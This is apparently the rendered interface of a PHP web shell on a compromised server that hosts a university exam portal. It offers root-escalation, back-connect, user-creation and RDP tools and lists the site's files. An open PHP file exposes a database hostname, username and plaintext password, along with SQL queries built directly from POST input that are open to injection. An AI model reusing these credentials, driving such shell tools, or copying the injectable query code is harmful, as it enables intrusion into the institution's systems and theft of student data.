Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.147.54.100
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
rcub /
[ HOME SHELL ]
Name
Size
Permission
Action
ExcelWriterXML
[ DIR ]
drwxr-xr-x
Excel_Writer
[ DIR ]
drwxr-xr-x
Excel_reader
[ DIR ]
drwxr-xr-x
JQGrid3.5
[ DIR ]
drwxr-xr-x
JQGrid4.4
[ DIR ]
drwxrwxrwx
PHPExcel
[ DIR ]
drwxr-xr-x
Report_details
[ DIR ]
drwxr-xr-x
adm
[ DIR ]
drwxr-xr-x
admupload
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxr-xr-x
custom_js
[ DIR ]
drwxr-xr-x
custom_src
[ DIR ]
drwxr-xr-x
docs
[ DIR ]
drwxr-xr-x
easy_zip
[ DIR ]
drwxr-xr-x
grid_display_files
[ DIR ]
drwxr-xr-x
halltickets
[ DIR ]
drwxrwxrwx
html_modules
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
imported_files
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
maya-pdf
[ DIR ]
drwxr-xr-x
misc_files
[ DIR ]
drwxrwxrwx
ntht
[ DIR ]
drwxrwxr-x
omr_2020_2
[ DIR ]
drwxrwxr-x
photocopy
[ DIR ]
drwxr-xr-x
schema
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
student_photos
[ DIR ]
drwxrwxrwx
study_material
[ DIR ]
drwxr-xr-x
tarka_pdf
[ DIR ]
drwxr-xr-x
tarka_pdf_latest
[ DIR ]
drwxr-xr-x
tcpdf
[ DIR ]
drwxr-xr-x
teacher_photos
[ DIR ]
drwxrwxrwx
upload
[ DIR ]
drwxrwxrwx
user_images
[ DIR ]
drwxr-xr-x
valcenter
[ DIR ]
drwxr-xr-x
valdet
[ DIR ]
drwxrwxr-x
validation_files
[ DIR ]
drwxr-xr-x
12th_convocation_circular_18.0...
752.47
KB
-rw-rw-r--
12th_convocation_circular_28.0...
911.33
KB
-rw-rw-r--
12th_convocation_notification_...
379.62
KB
-rw-rw-r--
2023_2_exam_notification_bped_...
2.75
MB
-rw-rw-r--
2023_2_exam_notification_pg 06...
2.02
MB
-rw-rw-r--
2023_2_exam_notification_ug_16...
3.23
MB
-rw-rw-r--
2024_1_exam_notification_bed_1...
2.68
MB
-rw-rw-r--
MainPage.html
16.41
KB
-rwxr-xr-x
MainPage13.03.2019.html
12.4
KB
-rwxr-xr-x
MainPage_2209.html
11.19
KB
-rwxr-xr-x
MainPage_ru.html
15.79
KB
-rw-rw-r--
MainPagepopup.html
7.05
KB
-rwxr-xr-x
admin.html
9.63
KB
-rwxr-xr-x
app.php
416
B
-rwxr-xr-x
appearing_list_kus.php
2.12
KB
-rwxr-xr-x
cconfig.php
931
B
-rwxr-xr-x
cconfig_old.php
1.13
KB
-rwxr-xr-x
collegeInfoPopup.html
4.24
KB
-rwxr-xr-x
flash.html
2.15
KB
-rwxr-xr-x
getQPdet1.php
7.62
KB
-rw-rw-r--
getQPdet191122.php
8.63
KB
-rw-rw-r--
getQPdet30.09.2020.php
7.05
KB
-rwxr-xr-x
getQPdet_old_05122019.php
4.66
KB
-rwxr-xr-x
getQPdet_old_30062022.php
5.48
KB
-rwxr-xr-x
getqpdet.php
9.42
KB
-rw-rw-r--
homepage.html
3.35
KB
-rwxr-xr-x
index.html
6.61
KB
-rwxr-xr-x
index23.07.2020.html
5.68
KB
-rwxr-xr-x
index_03.01.2014.html
5.14
KB
-rwxr-xr-x
index_https.html
5.4
KB
-rwxr-xr-x
indexlatest.html
5.16
KB
-rwxr-xr-x
indexlogin.html
5.5
KB
-rwxr-xr-x
indexlogin08.html
5.96
KB
-rwxr-xr-x
indexlogin_23.07.2020.html
5.76
KB
-rwxr-xr-x
indexold.html
5.19
KB
-rwxr-xr-x
mainpage.htm
31.7
KB
-rwxr-xr-x
manual_oasis_rcub.pdf
1.63
MB
-rwxr-xr-x
manual_student_portal_rcub.pdf
616.97
KB
-rwxr-xr-x
phpinfo.php
26
B
-rw-rw-r--
re_cronjob_sendsms_rcu.php
4.96
KB
-rwxr-xr-x
result_improvement_app_rcub_v_...
150.36
KB
-rw-rw-r--
result_sms_push.php
3.64
KB
-rw-rw-r--
result_sms_push_rcu.php
4.96
KB
-rwxr-xr-x
uploadteachattend.php
1.33
KB
-rw-r--r--
uploadteachlist.php
1.33
KB
-rw-r--r--
valdet.css
197.06
KB
-rw-rw-r--
valdet.php
325
B
-rw-rw-r--
valdet30.09.2020.php
9.95
KB
-rwxr-xr-x
valdet_get.php
9.42
KB
-rw-rw-r--
valdetx.php
15.92
KB
-rwxr-xr-x
valuation.html
2.49
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : getQPdet191122.php
<?php // $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com"; // $username = "admin"; // $password = "Logisys2104"; include("/var/www/config.php"); $servername = SERVERNAME; $username = USERNAME; $password = PASSWORD; $conn = new mysqli($servername, $username, $password); if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } $db = "logisys3_rcu"; $fdeggrp = $_POST['fdeggrp']; $type = $_POST['type']; if ($type != 'board') $fboard = $_POST['fboard']; if ($type == 'board') { $Query = "select distinct m.fboardcode, m.fboardname FROM {$db}.masboard m inner join {$db}.masqp q on q.fboard = m.fboardcode where fdeggrp = '{$fdeggrp}' and fcodecount>0 order by m.fboardcode"; $result = mysqli_query($conn, $Query); $i = 0; while ($row = mysqli_fetch_assoc($result)) { $row1[$i] = $row; $i++; } echo json_encode($row1); return; } else if ($type == 'program') { $Query = "select distinct d.FPROGCODE, d.FPROGCODE FROM {$db}.degree d where fdeggrp = '{$fdeggrp}'"; $result = mysqli_query($conn, $Query); $i = 0; while ($row = mysqli_fetch_assoc($result)) { $row1[$i] = $row; $i++; } echo json_encode($row1); return; } else if ($type == 'valcntr') { $Query = "select distinct s.fvalcntr,m.fvalname FROM {$db}.degree d inner join {$db}.subject s on d.fdegree = s.fdegree and d.fexamno = s.fexamno inner join {$db}.masvalcntr m on s.fvalcntr = m.fvalcntr where d.fdeggrp = '{$fdeggrp}' and ifnull(s.fvalcntr,'') <> ''"; $result = mysqli_query($conn, $Query); $i = 0; while ($row = mysqli_fetch_assoc($result)) { $row1[$i] = $row; $i++; } echo json_encode($row1); return; } else { $sem = $_POST['sem']; $status = $_POST['status']; $fprogram = $_POST['fprogram']; $fvalcntr = $_POST['fvalcntr']; if ($sem == "") { $cnd = ""; } else { $cnd = " and m.fexamno = '{$sem}'"; } if ($status == "") { $cnd2 = ""; } else if ($status == "Completed") { $cnd2 = "and (ifnull(ftotpkt1,0) - ifnull(fvalpkt1,0)) = 0"; } else if ($status == "Pending") { $cnd2 = "and (ifnull(ftotpkt1,0) - ifnull(fvalpkt1,0)) <> 0"; } $Query = "select m.fboard,m.fqpcode, m.fsubname, ifnull(m.fspresent,0) as fspresent, ifnull(m.fapresent,0) as fapresent, ifnull(m.fcodecount,0) as fcodecount, ifnull(m.ftotpkt1,0) as ftotpkt1, ifnull(m.fvalpkt1,0) as fvalpkt1, ifnull(m.ftotpkt2,0) as ftotpkt2, ifnull(m.fvalpkt2,0) as fvalpkt2, left(group_concat(distinct s.fdegree SEPARATOR ' / '),30) as fdegreerange, ifnull(s.fexamno,'') as fexamno,fvalcntr from {$db}.masqp m inner join {$db}.subject s on m.fqpcode = s.fqpcode where m.fcodecount>0 and m.fboard like '{$fboard}' and m.fdeggrp = '{$fdeggrp}' {$cnd} {$cnd2} group by m.fqpcode order by s.fvalcntr,m.fboard,m.fqpcode"; // var_dump($Query); // die(); $result = mysqli_query($conn, $Query); $i = 1; $html .= "<tr class='bg-green'> <th width='4%'><center>Sl. No.</center></th> <th width='8%'><center>Center</center></th> <th width='8%'><center>Board</center></th> <th width='8%'><center>Qp. Code</center></th> <th width='48%'><center>Subject Name</center></th> <th width='6%'><center>Sem</center></th> <th width='20%'><center>Degree Range</center></th> <th width='8%'><center>Coded Scripts</center></th>"; if ($fdeggrp == 'PHD') { $html .= "<th width='8%'><center>1st Total Packets</center></th> <th width='8%'><center>1st Valued Packets</center></th> <th width='8%'><center>1st Pending Packets</center></th> <th width='8%'><center>2nd Total Packets</center></th> <th width='8%'><center>2nd Valued Packets</center></th> <th width='8%'><center>2nd Pending Packets</center></th>"; } else { $html .= "<th width='8%'><center>Total Packets</center></th> <th width='8%'><center>Valued Packets</center></th> <th width='8%'><center>Pending Packets</center></th>"; } $totspresent = 0; $totapresent = 0; $totcodecount = 0; $pencodepend = 0; $totpkt1 = 0; $totvalpkt1 = 0; $totvalpend1 = 0; $tottotpkt2 = 0; $totvalpkt2 = 0; $totvalpend2 = 0; $html .= "</tr>"; while ($row = mysqli_fetch_assoc($result)) { $codepend = $row['fapresent'] - $row['fcodecount']; $valpend1 = $row['ftotpkt1'] - $row['fvalpkt1']; $valpend2 = $row['ftotpkt2'] - $row['fvalpkt2']; if ($codepend < 0) $codepend = 0; if ($valpend1 < 0) $valpend1 = 0; if ($valpend2 < 0) $valpend2 = 0; $totspresent = $totspresent + $row['fspresent']; $totapresent = $totapresent + $row['fapresent']; $totcodecount = $totcodecount + $row['fcodecount']; $pencodepend = $pencodepend + $codepend; $totpkt1 = $totpkt1 + $row['ftotpkt1']; $totvalpkt1 = $totvalpkt1 + $row['fvalpkt1']; $totvalpend1 = $totvalpend1 + $valpend1; $tottotpkt2 = $tottotpkt2 + $row['ftotpkt2']; $totvalpkt2 = $totvalpkt2 + $row['fvalpkt2']; $totvalpend2 = $totvalpend2 + $valpend2; $html .= "<tr> <td><center>{$i}</center></td> <td><center>{$row['fvalcntr']}</center></td> <td><center>{$row['fboard']}</center></td> <td><center>{$row['fqpcode']}</center></td> <td>{$row['fsubname']}</td> <td><center>{$row['fexamno']}</center></td> <td>{$row['fdegreerange']}</td> <td style='text-align:center'>" . moneyFormatIndia($row['fcodecount']) . "</td>"; if ($fdeggrp == 'PHD') { $html .= "<td style='text-align:center'>" . moneyFormatIndia($row['ftotpkt1']) . "</td> <td style='text-align:center'>" . moneyFormatIndia($row['fvalpkt1']) . "</td> <td style='text-align:center'>" . moneyFormatIndia($valpend1) . "</td> <td style='text-align:center'>" . moneyFormatIndia($row['ftotpkt2']) . "</td> <td style='text-align:center'>" . moneyFormatIndia($row['fvalpkt2']) . "</td> <td style='text-align:center'>" . moneyFormatIndia($valpend2) . "</td>"; } else { $html .= " <td style='text-align:center'>" . moneyFormatIndia($row['ftotpkt1']) . "</td> <td style='text-align:center'>" . moneyFormatIndia($row['fvalpkt1']) . "</td> <td style='text-align:center'>" . moneyFormatIndia($valpend1) . "</td>"; } $html .= "</tr>"; $i++; } $html .= "<tr> <td colspan='7' style='text-align:center'><b>Total</b></td> <td style='text-align:center'><b>" . moneyFormatIndia($totcodecount) . "</td>"; if ($fdeggrp == 'PHD') { $html .= "<td style='text-align:center'><b>" . moneyFormatIndia($totpkt1) . "<b></td> <td style='text-align:center'><b>" . moneyFormatIndia($totvalpkt1) . "<b></td> <td style='text-align:center'><b>" . moneyFormatIndia($totvalpend1) . "<b></td> <td style='text-align:center'><b>" . moneyFormatIndia($tottotpkt2) . "<b></td> <td style='text-align:center'><b>" . moneyFormatIndia($totvalpkt2) . "<b></td> <td style='text-align:center'><b>" . moneyFormatIndia($totvalpend2) . "<b></td>"; } else { $html .= "<td style='text-align:center'><b>" . moneyFormatIndia($totpkt1) . "<b></td> <td style='text-align:center'><b>" . moneyFormatIndia($totvalpkt1) . "<b></td> <td style='text-align:center'><b>" . moneyFormatIndia($totvalpend1) . "<b></td>"; } $html .= "</tr>"; echo $html; } function moneyFormatIndia($num) { $explrestunits = ""; if (strlen($num) > 3) { $lastthree = substr($num, strlen($num) - 3, strlen($num)); $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping. $expunit = str_split($restunits, 2); for ($i = 0; $i < sizeof($expunit); $i++) { // creates each of the 2's group and adds a comma to the end if ($i == 0) { $explrestunits .= (int)$expunit[$i] . ","; // if is first value , convert into integer } else { $explrestunits .= $expunit[$i] . ","; } } $thecash = $explrestunits . $lastthree; } else { $thecash = $num; } return $thecash; // writes the final format where $currency is the currency symbol. }
Close